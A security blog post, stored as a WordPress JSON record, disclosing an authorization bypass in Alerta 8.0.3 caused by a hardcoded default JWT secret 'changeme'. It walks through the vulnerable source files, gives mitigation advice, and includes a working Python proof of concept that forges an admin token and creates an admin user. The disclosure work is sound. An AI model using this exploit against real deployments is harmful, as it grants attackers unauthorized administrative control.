{"id":370,"date":"2020-11-14T14:43:56","date_gmt":"2020-11-14T14:43:56","guid":{"rendered":"https:\/\/lyhinslab.org\/?p=370"},"modified":"2021-05-13T16:09:47","modified_gmt":"2021-05-13T16:09:47","slug":"how-the-white-box-hacking-works-authorization-bypass-in-alerta-8-0-3","status":"publish","type":"post","link":"https:\/\/lscp.llc\/index.php\/2020\/11\/14\/how-the-white-box-hacking-works-authorization-bypass-in-alerta-8-0-3\/","title":{"rendered":"How White-Box hacking works: Authorization Bypass in Alerta 8.0.3"},"content":{"rendered":"\n<p>We have bad news for vendors whose applications use hardcoded secrets, for example, to create and validate JSON Web Tokens within the authorization process. Most people can&#8217;t even imagine, how disappointed could be the vendor who acknowledged such an issue. I mean, such software architectural problems might lead to catastrophic disasters, and sometimes, in such situations, a vendor should try as hard as they can control themselves and make a decision &#8211; basically, whether the existence of this software is reasonable, or not.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/sarahlemmon.files.wordpress.com\/2014\/04\/meme-dont-hardcode-strings.jpg\" alt=\"\"\/><\/figure>\n\n\n\n<p>It worth saying that most of the hackers know this issue but never exploited it. This case is a simple one, could be fixed, and on software that nobody cares about &#8211; so let&#8217;s check it out.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Proof of Concept<\/h4>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import jwt\nfrom jwt import DecodeError, ExpiredSignature, InvalidAudience\nimport requests\n\nencoded_jwt = jwt.encode({'iss': 'http:\/\/192.168.100.53\/',\n                          'typ': 'Bearer', 'sub': 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee',\n                          'aud': 'http:\/\/192.168.100.53\/',\n                          'name': 'Billy',\n                          'preferred_username': 'Whiskey',\n                          'email': 'Jean',\n                          'provider': 'basic',\n                          'roles': ['user','admin'],\n                          'scope': 'read write admin users',\n                          'email_verified': True}, key='changeme')\n\nurl = \"http:\/\/192.168.100.53:8081\/user\"\nheaders = {\"User-Agent\": \"Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko\/20100101 Firefox\/80.0\",\n                 \"Accept\": \"application\/json, text\/plain, *\/*\",\n                 \"Accept-Language\": \"ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\",\n                 \"Accept-Encoding\": \"gzip, deflate\",\n                 \"Content-Type\": \"application\/json;charset=utf-8\",\n                 \"Authorization\": \"Bearer \" + encoded_jwt.decode(\"utf-8\"),\n                 \"Origin\": \"http:\/\/192.168.100.53\",\n                 \"Connection\": \"close\",\n                 \"Referer\": \"http:\/\/192.168.100.53\/users\"}\n\njson={\"confirmPassword\": \"\",\n            \"email\": \"user\",\n            \"email_verified\": True,\n            \"login\": \"user\",\n            \"name\": \"user\",\n            \"password\": \"lyhinslab\",\n            \"roles\": [\"admin\", \"user\", \"guest\"],\n            \"status\": \"active\",\n            \"text\": \"ll\"}\n\nr = requests.post(url, headers=headers, json=json)\n\nprint (r.content)\n<\/pre>\n\n\n\n<p>Looks easy, feels the same. Just create a JWT with a &#8220;changeme&#8221; secret. Despite the loud name, Alerta software doesn&#8217;t inform users that they need to change this code. Unfortunately. <\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Bug discovery &amp; exploitation<\/h4>\n\n\n\n<p>Firstly, we found that Alerta works on Python\/Flask, and uses JWT. <\/p>\n\n\n\n<p>Secondly, we found an endpoint that works with JWT.  File: &#8220;alerta\\auth\\userinfo.py&#8221;.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import re\n\nfrom flask import jsonify, request\nfrom flask_cors import cross_origin\n\nfrom alerta.auth.decorators import permission\nfrom alerta.exceptions import ApiError\nfrom alerta.models.enums import Scope\nfrom alerta.models.token import Jwt\n\nfrom . import auth\n\n\n@auth.route('\/userinfo', methods=['OPTIONS', 'GET'])\n@cross_origin()\n@permission(Scope.read_userinfo)\ndef userinfo():\n    auth_header = request.headers.get('Authorization', '')\n    m = re.match(r'Bearer (\\S+)', auth_header)\n    token = m.group(1) if m else None\n\n    if token:\n        return jsonify(Jwt.parse(token).serialize)\n    else:\n        raise ApiError('Missing authorization Bearer token', 401)\n<\/pre>\n\n\n\n<p>Thirdly, we checked the implementation of JWT in &#8220;alerta.models.token&#8221;. File: &#8220;alerta\\models\\token.py&#8221;, lines 41-52 and 113-116. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">  @classmethod\n    def parse(cls, token: str, key: str = None, verify: bool = True, algorithm: str = 'HS256') -> 'Jwt':\n        try:\n            json = jwt.decode(\n                token,\n                key=key or current_app.config['SECRET_KEY'],\n                verify=verify,\n                algorithms=algorithm,\n                audience=current_app.config['OAUTH2_CLIENT_ID'] or current_app.config['SAML2_ENTITY_ID'] or absolute_url()\n            )\n        except (DecodeError, ExpiredSignature, InvalidAudience):\n            raise<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">@property\n    def tokenize(self) -> str:\n        token = jwt.encode(self.serialize, key=current_app.config['SECRET_KEY'])\n        return token.decode('unicode_escape')<\/pre>\n\n\n\n<p>Fourhtly, we made one more step and we were looking for current_app.config[&#8216;SECRET_KEY&#8217;] . File: <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#\n# ***** ALERTA SERVER DEFAULT SETTINGS -- DO NOT MODIFY THIS FILE *****\n#\n# To override these settings use \/etc\/alertad.conf or the contents of the\n# configuration file set by the environment variable ALERTA_SVR_CONF_FILE.\n#\n# Further information on settings can be found at https:\/\/docs.alerta.io\n\nfrom typing import Any, Dict, List, Tuple  # noqa\n\nDEBUG = False\n\nBASE_URL = ''\nUSE_PROXYFIX = False\nSECRET_KEY = 'changeme'\n\n...<\/pre>\n\n\n\n<p>Worth paying attention is the recommendation to do not modify this file. <\/p>\n\n\n\n<p>Finally, we wrote an exploit. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Mitigation<\/h3>\n\n\n\n<p>Change &#8220;SECRET_KEY&#8221; in config file to something more secure. Because you do this one-time, I recommend to choose a random 256-bit sequence for it.  <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>Don&#8217;t ever use hardcoded secrets. That&#8217;s the whole point of this post. <\/p>\n\n\n\n<p><em>LL advises to all the researchers do not break real applications<\/em>&nbsp;<em>illegally. This fun leads to broken businesses and lives, and, most likely, will not make an attacker really rich.<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>We have bad news for vendors whose applications use hardcoded secrets, for example, to create and validate JSON Web Tokens within [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-370","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/370","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/comments?post=370"}],"version-history":[{"count":0,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/370\/revisions"}],"wp:attachment":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/media?parent=370"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/categories?post=370"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/tags?post=370"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}